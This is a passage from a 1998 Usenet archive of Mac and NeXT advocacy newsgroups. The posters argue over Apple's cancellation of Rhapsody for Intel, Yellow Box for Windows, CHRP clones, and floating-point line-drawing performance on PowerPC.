<Et7rF0.8DH@midway.uchicago.edu> <don_arb-1905981147250001@sea-ts4-p67.wolfenet.com>
<35633A4A.674666DC@alumni.caltech.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: woody@alumni.caltech.edu
William Edward Woody may or may not have said:
-> There is an interesting footnote to all this, by the way. And that is
-> that while there are those around here who may see Microsoft as being
-> superior to Apple because Apple had to go out of house for expertise,
-> they're forgetting that Microsoft went out of house _twice_, first to
-> IBM, and then to the Digital engineers.
How can anyone look at what MicroSquish ships, and infer any kind of
superiority?
-jcr
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 20 May 1998 19:56:37 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jvqjl$35u$1@crib.bevc.blacksburg.va.us>
References: <ericb-1105981718430001@132.236.171.104> <ericb-1805981357420001@132.236.171.104> < <ericb-2005981935460001@132.236.171.104>
In article <ericb-2005981935460001@132.236.171.104>, ericb@pobox.com (Eric Bennett) wrote:
> If Apple intends to support YB/Intel for the "indefinite future" then it
> would be quite simple for Steve Jobs to say so.
There are various statements, reported on Stepwise and elsewhere, that
YB/Windows is an integral part of Apple's long-term strategy. It's up
to you what you choose "long-term" to mean. Note, however, that they
have _not_ made similar statements about Rhapsody/Intel, which is ending
after 1.0. They are making a distinction.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 20 May 1998 19:57:35 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jvqlf$36e$1@crib.bevc.blacksburg.va.us>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1405981647290001@news-proxy.cso.uiuc.edu> <355F6DDE.5361 <ericb-2005981946550001@132.236.171.104>
In article <ericb-2005981946550001@132.236.171.104>, ericb@pobox.com (Eric Bennett) wrote:
> In article <see-below-1905981826320001@209.24.240.108>,
> see-below@not-my-address.com (Matthew Vaughan) wrote:
> > I agree. It appears you (and others who have maintained this for the last
> > few days) are right about Rhapsody for Intel. I also think this is a
> > mistake - a _big_ one. Apple has everything to gain and very little to
> > lose by offering Rhapsody/Mach for Intel, and upgrading it over time.
> So does this make the questions about continued YB/Windows support look
> any less loony to you guys?
No.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 20 May 1998 19:59:35 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jvqp7$370$1@crib.bevc.blacksburg.va.us>
References: <ericb-1105981718430001@132.236.171.104> <ericb-1805981357420001@132.236.171.104> < <ericb-2005981935460001@132.236.171.104>
In article <ericb-2005981935460001@132.236.171.104>, ericb@pobox.com (Eric Bennett) wrote:
> I think their recent actions call their commitment to cross-platform YB
> into question.
I can't think of anything they've done recently that calls their
commitment to YB/Windows into question.
> I see no direct, unambiguous statements from Apple officials in this
> article that state that Apple is committed to the x86 beyond this fall.
That's because they're not. 1.0 will be the last release of Rhapsody,
and they have no plans for MacOS X on x86.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 20 May 1998 20:05:41 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jvr4l$38a$1@crib.bevc.blacksburg.va.us>
References: <ericb-1105981718430001@132.236.171.104> <ericb-1805981403350001@132.236.171.104> <6jpube$rqq$1@crib.bevc.blacksburg.va.us> <ericb-2005981951380001@132.236.171.104>
In article <ericb-2005981951380001@132.236.171.104>, ericb@pobox.com (Eric Bennett) wrote:
> In article <6jpube$rqq$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> > What do you mean they haven't made their support for the x86 public??
> > They have _very clearly_ stated in public that Yellow Box for Windows
> > will be a supported product.
> Sorry. I meant supported over the long term,
They have stated "long term".
> so that it will continue to
> have parity with the features available in MacOS X and its successors.
You do realize that the YB frameworks on OS X (well, Rhapsody) and Windows
are built from virtually the same code base, don't you? There are very
few OS dependencies, mostly in the window server and nmserver and such,
not in the frameworks themselves. Enhancements to the frameworks ought
to be portable. I guess you could potentially have some dependencies in
there to take advantage of some extra OS X features, though I'm not sure
what those would be if Apple decided to add some, but you can't expect
Apple to port an OS over to Windows! In any case, the core stuff would
still work and Yellow is pretty modularized when it comes to these things.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 20 May 1998 20:08:02 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jvr92$390$1@crib.bevc.blacksburg.va.us>
References: <ericb-1105981718430001@132.236.171.104> <see-below-1805981709380001@209.24.240.36> <6jqipq$slo$1@crib.bevc.blacksburg.va.us> <ericb-2005981953160001@132.236.171.104>
In article <ericb-2005981953160001@132.236.171.104>, ericb@pobox.com (Eric Bennett) wrote:
> In article <6jqipq$slo$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> > Correct, Apple never mentioned a deadline or shipping date for YB/MacOS.
> > They _did_ state that they would ship it, but apparently they've decided
> > to do that by redefining the word "MacOS". :)
> There was an information vaccuum in Cupertino. Either we had to assume
> what Apple's plan was or assume they had no plan at all. Most people
> assumed, and Apple certainly suggested, that Yellow would run on MacOS 8.
Yes, of course. I'm not suggesting it's good for companies to redefine
their product names in order to fulfill promises. I assumed like
everyone else that they would have Yellow on MacOS 8, and was annoyed
to find out that they wouldn't. But with their new strategy, its lack
is not as bad as it would have been otherwise.
From: NoSpam@flash.net (LShaping)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Thu, 21 May 1998 00:14:32 GMT
Organization: LShaping
Message-ID: <35636f72.7199244@news.flash.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <01bd785f$a4d216e0$8383050a@bgravitt.CORP.VHA.COM> <6ioone$clv$5@ligarius.ultra.net> <01bd791b$cc852e40$8383050a@bgravitt.CORP.VHA.COM> <6ir7p5$nt$4@ligarius.ultra.net> <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net> <tvy67j0enft.fsf@cn1.connectnet.com>
<SNIP>
>It's an unfair linkage between the OS and the applications group. No
>external company can possibly compete on a level playing field when MS
>is allowed insider knowledge. It's just adding fuel to the fire for
>Microsoft to then say "but here, it's an open API, you can use it if
>you want, why are you complaining?".
<SNIP>
This is obvious to me. How are you going to compete with
Microsososoft while you depend on their technical support for Windows
programming? You aren't. Microsososoft says "We like competition".
Of course it does.
From: aa829@ccn.cs.dal.ca (Charlie Mingo)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXTSTEP - Some useful features = MacOS X?
Date: Wed, 20 May 1998 20:20:57 -0400
Organization: PANIX Internet and Unix, NYC
Message-ID: <aa829-2005982020580001@port27.dialb2.gain-ny.com>
References: <6jrak9$936$1@geraldo.cc.utexas.edu>
Mail-Copies-To: always
In article <6jrak9$936$1@geraldo.cc.utexas.edu>,
kdb@pegasus.ece.utexas.edu (Kurt D. Bollacker) wrote:
> DSP : My NeXT box could play stereo CD-quality sound without taxing
> the CPU at all,
I can play MPEG-encoded sound files on a 604 without any noticible affect
on CPU speed (I am doing it as I type this), and of course regular audio
CD's don't use any CPU time at all (all done in CD-ROM and fed as analog
audio signal to sound-out port).
> WYSIWYG and Unified Fonts: How do I insure that fonts on screen and in
> my printer are the same?
Use a printer that directly supports PDF? They mentioned diring the OS X
graphics session that such printers exist, and presumably will become more
common with OS X's arrival.
> Remote Display: Want to have a CPU farm for mammoth applications? Say
> goodbye to efficient network computing.
> Say hello to MS style
> licensing for every machine.
What does licensing have to do with remote hosting? You still have to
license the back end on each machine, even if you use a single machine as
the front end for all of them. Indeed, in programs that sell front and
back-ends seperately (eg, Mathematica) it is the back-end that is most of
the cost.
> Symbolic Links: With the move from UFS to HFS, I now have a practically
> unusable file system.
According to the architecture disgrams the showed at WWDC, UFS is a
supported filesystem under OS X. You get it from POSIX and the VFS.
> Visible insertion of EPS files: I consider a graphics editor to be
> useless with visible insertion of .eps files. Will this be in OSX?
The EPS preview will be visible.
--
mingo "at" panix "dot" com
From: HoopaJoop@SouthPark.com (You Killed Kenny, You SPAMMERS!)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: No Mac OS X for Intel...?
Message-ID: <356347ad.18321500@news.inreach.com>
References: <6jtt5c$q8k$1@news.cmc.net>
Date: Wed, 20 May 1998 21:26:01 GMT
NNTP-Posting-Date: Wed, 20 May 1998 14:26:01 PDT
Organization: InReach Internet
On 20 May 1998 06:27:56 GMT, devnull@occam.com (Leon von Stauber)
wrote:
Hey, wasn't Next's OpenStep model at the very least self sustaining.
Meaning that the profits from it were at least covering the cost of
R&D and support?
If so wouldn't the current improvements enhance the already existing
self sustaining market and produce more profit?
My argument being why kill something that doesn't cost you any money
now and in the future could be useful. I am assuming at least break
even status of the Rhapsody intel.
I don't know any of the facts behind Next and OpenStep.
Off the subject question...What Hardware will the Rhasody 1.0 Intel
release work on? Can you point me to a site?
AJ
ajlobb REMOVE CAPITALS at FROM ADDRESS inreach dot com
I am here to learn!
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: That's not GX, that's Bravo -an Open Letter to Ric Ford
Date: 20 May 1998 17:47:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B188C7AE-B7424@206.165.43.97>
References: <rex-2005981857430001@192.168.0.3>
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
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Eric King <rex@smallandmighty.com> said:
> Well you could certainly do the setup calculations in floating point,
>but the algorithm itself is essentially an integer algorithm. For Maury's
>'pure floating-point' idea to work you'd have to do a rounding operation
>at every pixel. That's probably not going to be faster than the handful of
>increments and compares that Bresenham's calls for. Any PPC optimization
>gurus are welcome to correct me. :)
>
Not really. The naive algorithm used to demonstrate the midpoint line
algorithm in Foley and van Dam tests for sign-conversion. You can
add/subtract an increment all day long using fp and never need do rounding.
You just test for "d <=0" and carry on. The actual *coordinate* would still
be integer, of course, but your conversion test would be done using fp,
thereby allowing potential parallel processing between integer and floating
point units since the coordinates are merely incremeted/decremented by one
depending on the sign of "d" .
Since all PowerPC processors that Apple uses perform floating point
add/subtract at the same speed as fixed-point add/subtract, you might well
get a speedup for doing simple bresenham algorithms using floating point.
This would apply to circles and ellipses also. As I said, for the quadratic
beziers of GX, the fixed-point algorithm would likely be faster since it
involves shifts, but for more complex curves, the fp might well be faster.
Especially if non-power-of-2 multiplication is involved at some point, as
would be the case if you were multiplying by a reciprical to approximate
division (which is where the fres instruction would come into play.
Depending on how it was pipelined in the fp processing unit, it might
allow for easier optimization than doing a standard fdiv).
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Wed, 20 May 1998 15:40:58 -0700
Organization: UC Irvine
Message-ID: <rmcassid-2005981540580001@dante.eng.uci.edu>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <6juf9b$d0p$1@ns3.vrx.net> <6jv1ed$1v6$1@crib.bevc.blacksburg.va.us> <6junbc$is5$1@ns3.vrx.net> <6jvavf$2cn$1@crib.bevc.blacksburg.va.us> <35633073.0@206.25.228.5>
In article <35633073.0@206.25.228.5>, jkheit@xtdl.com wrote:
>nurban@crib.bevc.blacksburg.va.us (Nathan Urban) wrote:
>> I wonder if the Finder will be replaceable. (No reason why they
>> couldn't make it that way, but they might not bother.) If so --
>> third party opportunity for a superior Yellow Finder.
>
>Apple doesn't strike me as the kind of company that likes to give
>up control of *anything* to anyone. I could be, and hope I'm, wrong.
Uh, the Finder is *currently* replacable, I believe. There is even a
number of APIs to help you do it, has been for some years. I don't know of
anyone that has bothered, however as the Finder delivers considerable
functionality that would take a lot of effort to undo.
For a *really* fun Finder replacement, you should be able to boot straight
into Virtual PC and mount your MacOS drive as a D: drive via folder
sharing. It only allows you access to your data, not any ability to launch
apps. But you really don't need the Finder for that either.
-Bob Cassidy
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Wed, 20 May 1998 15:42:23 -0700
Organization: UC Irvine
Message-ID: <rmcassid-2005981542230001@dante.eng.uci.edu>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <6junbc$is5$1@ns3.vrx.net> <6jvavf$2cn$1@crib.bevc.blacksburg.va.us> <35633073.0@206.25.228.5> <6jvbl6$2fo$1@crib.bevc.blacksburg.va.us>
In article <6jvbl6$2fo$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
>Anyone want to start a replaceable Finder campaign? :)
Anyone bother to try doing that now?
-Bob Cassidy
Date: Wed, 20 May 1998 20:51:00 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Message-ID: <joe.ragosta-2005982051000001@elk106.dol.net>
References: <ericb-1105981718430001@132.236.171.104> <ericb-1805981357420001@132.236.171.104> < <ericb-2005981935460001@132.236.171.104> <6jvqp7$370$1@crib.bevc.blacksburg.va.us>
In article <6jvqp7$370$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> In article <ericb-2005981935460001@132.236.171.104>, ericb@pobox.com
(Eric Bennett) wrote:
>
> > I think their recent actions call their commitment to cross-platform YB
> > into question.
>
> I can't think of anything they've done recently that calls their
> commitment to YB/Windows into question.
>
> > I see no direct, unambiguous statements from Apple officials in this
> > article that state that Apple is committed to the x86 beyond this fall.
>
> That's because they're not. 1.0 will be the last release of Rhapsody,
> and they have no plans for MacOS X on x86.
Only partly true-depending on what you mean by "committed to x86".
Apple _is_ committed to x86 via Yellow Box on Windows.
It is not going to have Rhapsody on x86.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: give them what they want, what they really really want... :-)
Date: 20 May 1998 21:54:49 GMT
Organization: I don't think so
Message-ID: <slrn6m6kh4.c8d.jason@jhste1.dyn.ml.org>
References: <6jpv0r$1cc$103@ironhorse.plsys.co.uk> <6jqees$hl0$1@news12.ispnews.com> <6jqrsa$mdk$1@news.idiom.com> <6jquq3$k2g1@odie.mcleod.net> <slrn6m1f63.el.jason@jhste1.dyn.ml.org> <joe.ragosta-1905980815500001@wil130.dol.net> <ericb-2005981700340001@132.236.171.104>
Eric Bennett posted the following to comp.sys.mac.advocacy:
>At the risk of seriously insulting women everywhere, how can we be certain
>that people using fake names like "Franky" and "stevejobs@apple.com" are
>male?
Despite the remote possibility that is so, I think that we can be confident
that Mr. Rizzo has an X and a Y (and maybe more than his fair share of
chromosones altogether...)
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: That's not GX, that's Bravo -an Open Letter to Ric Ford
Date: 20 May 1998 14:58:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B188A017-226DF@206.165.43.97>
References: <6jusgc$mfv$1@ns3.vrx.net>
nntp://news.primenet.com/comp.sys.next.advocacy
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Maury Markowitz <maury@remove_this.istar.ca> said:
>In <rex-2005981624570001@192.168.0.3> Eric King claimed:
>> Fixed-Point math. Better yet, why don't you implement a pure
>> floating-point line drawing algorithm and compare it to the speed of a
>> pure fixed-point version of Bresenham's algorithm.
>
> Funny you should mention that, as it turned out to be a topic of
discussion
>at the Hilton one night. One of the people at the table had indeed
written
>such code and said it outperformed Bresenham's on the PPC. Dunno if it's
>true or not, but there you go.
>
It's conceivable since the FP unit's add/subtract is the same speed as the
integer unit's and you could divide the work between the two in the case of
Bresenham's line (and probably circle/elipse as well). However, for more
complex curves, I start to wonder. The algorithm used to create curves in
GX uses an integer subdivision algorithm, for instance. That should be
ideally suited to shifts and rotates, which take 1 cycle in the
current-generation PPC integer units, whereas division is still pretty slow
(~20 cycles) for today's floating point units.
For cubic beziers, it might be better to use the fp unit, but I'm not up on
bezier optimization algorithms...
Once AltiVec gets into the mix, all bets are off anyway.
> In the meantime the entire thread is no obviously going into tiny
>tit-for-tat mode, so I'll bow out.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 20 May 1998 15:02:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B188A0F1-25A12@206.165.43.97>
References: <6jvbl6$2fo$1@crib.bevc.blacksburg.va.us>
nntp://news.primenet.com/comp.sys.mac.advocacy
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Nathan Urban <nurban@crib.bevc.blacksburg.va.us> said:
>In article <35633073.0@206.25.228.5>, jkheit@xtdl.com wrote:
>
>> nurban@crib.bevc.blacksburg.va.us (Nathan Urban) wrote:
>
>> > I wonder if the Finder will be replaceable. (No reason why they
>> > couldn't make it that way, but they might not bother.) If so --
>> > third party opportunity for a superior Yellow Finder.
>
>> Apple doesn't strike me as the kind of company that likes to give
>> up control of *anything* to anyone. I could be, and hope I'm, wrong.
>
>Anyone want to start a replaceable Finder campaign? :)
If all YB apps could double as the equivalent of OpenDoc container parts,
this wouldnt' be necessary.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: Wed, 20 May 1998 18:04:40 -0700
Message-ID: <see-below-2005981804400001@209.24.242.183>
References: <joe.ragosta-2005980829560001@wil131.dol.net> <B1887964-1E2D8@206.165.43.125> <*johnnyc*-2005981752050001@jchristie.halifaxcable.dal.ca>
In article <*johnnyc*-2005981752050001@jchristie.halifaxcable.dal.ca>,
*johnnyc*@or.psychology.dal.ca (John Christie) wrote:
> In article <B1887964-1E2D8@206.165.43.125>, "Lawson English"
> <english@primenet.com> wrote:
>
> > As for the first point, this is beyond bogus. Motorola had machines ready
> > to ship based on CHRP. They were predicint a $1 billion/year revenue from
> > clone sales, mostly based on CHRP-projections, since that is what they
> > wanted to base all of their new models on. All other clone-makers were
> > wanting to ship CHRP as well since it would free them from paying hardware
> > licensing fees to Apple.
>
> Well, one of the great promises of CHRP was that it was supposed to run
> a bunch of OSes. MacOS was to supposed to gain marketshare through the
> backdoor here. If CHRP really came to fruition how did little old Apple
> kill it? You would think that running NT, Solaris, and AIX would be
> plenty. Why isn't Motorola still selling these machines? Are you telling
> us that the MacOS was the most important OS for CHRP compared to NT?
Yes. Why would anyone want to switch from NT/Intel to NT/PPC? If they were
going to, why not just switch to NT/Alpha? You'd have to give them a darn
good reason to do so. The whole idea of CHRP was more to expand the Mac
market than anything else. Sure, you could run other OSes on it, and
hopefully they'd perform very well, but without at least some semblance of
a mass market, that wasn't going to fly. There are all kinds of other good
niche RISC processors besides PPC that NT could run on. The distinctive
point about PPC was that with Apple moving all their systems to it, it
would become a mass market (and it has, just not in the agreed-on form on
which the other OSes could run)
> Apple was the LAST partner to drop CHRP. After everyone else dropped
> it why would they care.
Totally wrong. Apple was the only one that never even came to the table.
Microsoft _shipeed_ an OS for it, and I think Sun did too. In addition,
Motorola actually announced a CHRP computer for delivery soon after, and
both Power and Umax had reportedly been chomping at the bit to ship such
machines for a long time, only waiting on a version of MacOS that would
run on them.
> BTW, isn't the next generation Gossamer without a ROM and only open
> firmware announced at WWDC essentially what was desired for CHRP if none
> of the other OSes are important? No Apple ROM needed, reverse engineer to
> your hearts content.
I suppose so. Now that both the other OSes and the clones have gone away,
Apple feels safe in doing this.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: Wed, 20 May 1998 18:07:56 -0700
Message-ID: <see-below-2005981807560001@209.24.242.183>
References: <joe.ragosta-2005980829560001@wil131.dol.net> <B1887964-1E2D8@206.165.43.125> <joe.ragosta-2005981532310001@wil105.dol.net>
In article <joe.ragosta-2005981532310001@wil105.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article <B1887964-1E2D8@206.165.43.125>, "Lawson English"
> <english@primenet.com> wrote:
>
> > As for the first point, this is beyond bogus. Motorola had machines ready
> > to ship based on CHRP. They were predicint a $1 billion/year revenue from
>
> All of the other OS vendors dropped CHRP before Apple did.
> Apple was the last--or are you saying that some other OS vendors supported
> CHRP longer than Apple?
I'm sorry Joe, but this is unadulterated bullshit. The other vendors
_shipped_ product for CHRP. Apple never even bothered. By the time you
claim Apple "dropped" support (which Apple had never even given in the
first place other than in empty words), the others had come, and gone.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Wed, 20 May 1998 18:15:32 -0700
Message-ID: <see-below-2005981815320001@209.24.242.183>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <6jk3qs$a4a@ragnarok.en.uunet.de> <B0p71.134$Jb1.1203626@news.rdc1.sfba.home.com> <joe.ragosta-1605981948230001@elk32.dol.net> <maury-1805981747350001@ts32-15.tor.istar.ca> <tbrown-1805982347260001@mv130.axom.com> <6jrnc2$4rf$3@ns3.vrx.net> <tbrown-1905982250120001@mv163.axom.com> <6ju999$7vp$3@ns3.vrx.net>
In article <6ju999$7vp$3@ns3.vrx.net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
> In <tbrown-1905982250120001@mv163.axom.com> Ted Brown claimed:
> > Well, Apple already has an OS 8 Finder, why won't it work?
>
> It will, but it won't be tasked or protected under the new OS. Putting the
> only program that runs _all_ the time into the unprotected area is _bad_.
They'd have to rewrite it in Carbon, of course.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: m rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Wed, 20 May 1998 01:15:21 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <356274F9.3C374CFE@milestonerdl.com>
References: <ericb-1105981718430001@132.236.171.104>
<6j9egu$19r$1@crib.bevc.blacksburg.va.us>
<6j9lrd$gl7$1@larry.admin.phil.uu.nl>
<slrn6lgo9c.l2e.sal@panix3.panix.com> <6jcf2d$iu2@newsb.netnews.att.com>
<ericb-1405981303550001@132.236.171.104>
<355B1A3C.5955AED1@milestonerdl.com> <6jhtr4$ibt$1@nnrp1.dejanews.com>
<355C787A.2B058D89@milestonerdl.com>
<6jk8lv$1cc$51@ironhorse.plsys.co.uk>
<355E123D.1939DF29@milestonerdl.com>
<6jmu7u$1cc$57@ironhorse.plsys.co.uk> <356113c0.0@news.camtech.net.au>
Mime-Version: 1.0
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timothyp@tne.net.au wrote:
> Its about time someone got to the heart of it.
Yup. And here it is AGAIN.
Apple can not create a consistant message combined with cancelled technologies
termed as 'key technologies' creates an environment not helpful to the adoptation of
Apple technologies.
A lack of any official statements or white papers compound the problem.
Example: A 'key' technology - Rhapsody on Intel.
On Wed, an Apple employee e-mailed a site called MacOSRumors that Rhapsody for Intel
had a future beyond 1.0
On Friday, during a Q&A, a different Apple employee said it's dead. 1.0 is all that
you are going to get.
With no 'official' source - like a press release or white paper the direction of
Apple is charted by the above example.
Either the company heads at Apple don't know the path to take, the company heads
don't know how to issue orders, or the employees can not follow orders.
"If you don't know where you are going, any road will take you there."
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Infoworld on the Yellow Box's future
Date: 20 May 1998 21:14:54 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jvv6e$3cn$1@crib.bevc.blacksburg.va.us>
References: <nospampischke-1905981902030001@pm2-18-2.tor.idirect.com> <3562452B.1A0A2C09@milestonerdl.com> <6jtmfa$de$1@crib.bevc.blacksburg.va.us> <356255B1.B30D46EB@milestonerdl.com>
In article <356255B1.B30D46EB@milestonerdl.com>, m rassbach <mark@milestonerdl.com> wrote:
> Nathan Urban wrote:
> > Ah, the infamous anti-Apple Rassbach Paranoia (TM) is back, wherein any
> > media mistake or his own general cluelessness is blamed on Apple.
> Funny. The Newton Developer message seemed clear enough in its day.Same with
> OpenDoc.
The Yellow Developer message seems perfectly clear to the rest of us.
You ought to pay attention.
> Or, on Wed, the Rhapsody on Intel is OK vs Friday where it's DOA.
Consider the reliability of the Wednesday sources.
> Yup. Must just be me that thinks Apple can't communicate clearly/lacks a
> plan they CAN communicate.
I'm sure you meant to be sarcastic, but you appear to be correct.
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Winners and Losers
Date: Wed, 20 May 1998 18:28:05 -0700
Message-ID: <see-below-2005981828050001@209.24.242.183>
References: <slrn6m4vfs.qkm.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6jv1bk$hu3@flonk.uk.sun.com>
In article <6jv1bk$hu3@flonk.uk.sun.com>,
Jeff.Richmond@uk.sun.comREMOVETHIS wrote:
> In article <slrn6m4vfs.qkm.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>,
NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel) writes:
>
> [snip]
>
> >
> >Perhaps somebody ought to consider why Sun started and keeps x86 Solaris,
> >even though it makes its real cash on Sparc Hardware?
> >
> >* Having x86 Solaris around keeps the company from being seen as overly
> > proprietary.
> >
> >* Having x86 Solaris around, however, has not precluded many Sun SPARC
> > hardware purchases.
> >
> >* When going to Merced, it will be the x86 developers who can grok the
> > intricacies of Intel-world motherboards and the associated industry.
> > No doubt Merced boards and architecture details outside the CPU
> > will be targeted towards the traditional x86 PC market.
> >
> >
> >Sun has the same business model as Apple.
> >
> >Right down to the not-profitable-but
> >really-cool-cross-platform-software-technology-we-are-trying-to-make
> >universal division: Java (Sun), Quicktime (Apple).
> >
>
> Excellent points ... Sun and Apple do indeed have almost the same
business model. Target markets are totally different however ... does
Apple have any intention of attempting to gain a foothold in corporate
IT?
Appearantly not.
> Many others have stated this but it might be worth saying again:
Microsoft is the only major player in the industry to have a
software-driven business model.
The "software" part of their business model that generates revenue is
applications, not an OS. I don't think of Rhapsody/Intel as being a
money-maker in itself, though it could conceivably be self-sufficient.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Yellow box apps on Windows
Date: Wed, 20 May 1998 18:32:46 -0700
Message-ID: <see-below-2005981832460001@209.24.242.183>
References: <355c8968.0@206.25.228.5> <35617d4b.4769378@news.sydney.apana.org.au> <6jupv2$jie$1@news.idiom.com> <6jv2md$rqs$1@leonie.object-factory.com> <6jv3po$22r$1@crib.bevc.blacksburg.va.us>
In article <6jv3po$22r$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> In article <6jv2md$rqs$1@leonie.object-factory.com>,
holger@object-factory.REMOVETHIS.com (Holger Hoffstaette) wrote:
>
> > Everything inside a window
> > (NSButton, NSComboBox & friends) is drawn by the window server, and
> > the controls are *definitely* not the native Win32 controls.
>
> Of course, if they look and feel like the native controls, whether or
> not they're "really native" wouldn't matter much.
Unless Microsoft changed the default look or behavior somehow.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
Date: Wed, 20 May 1998 21:13:05 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
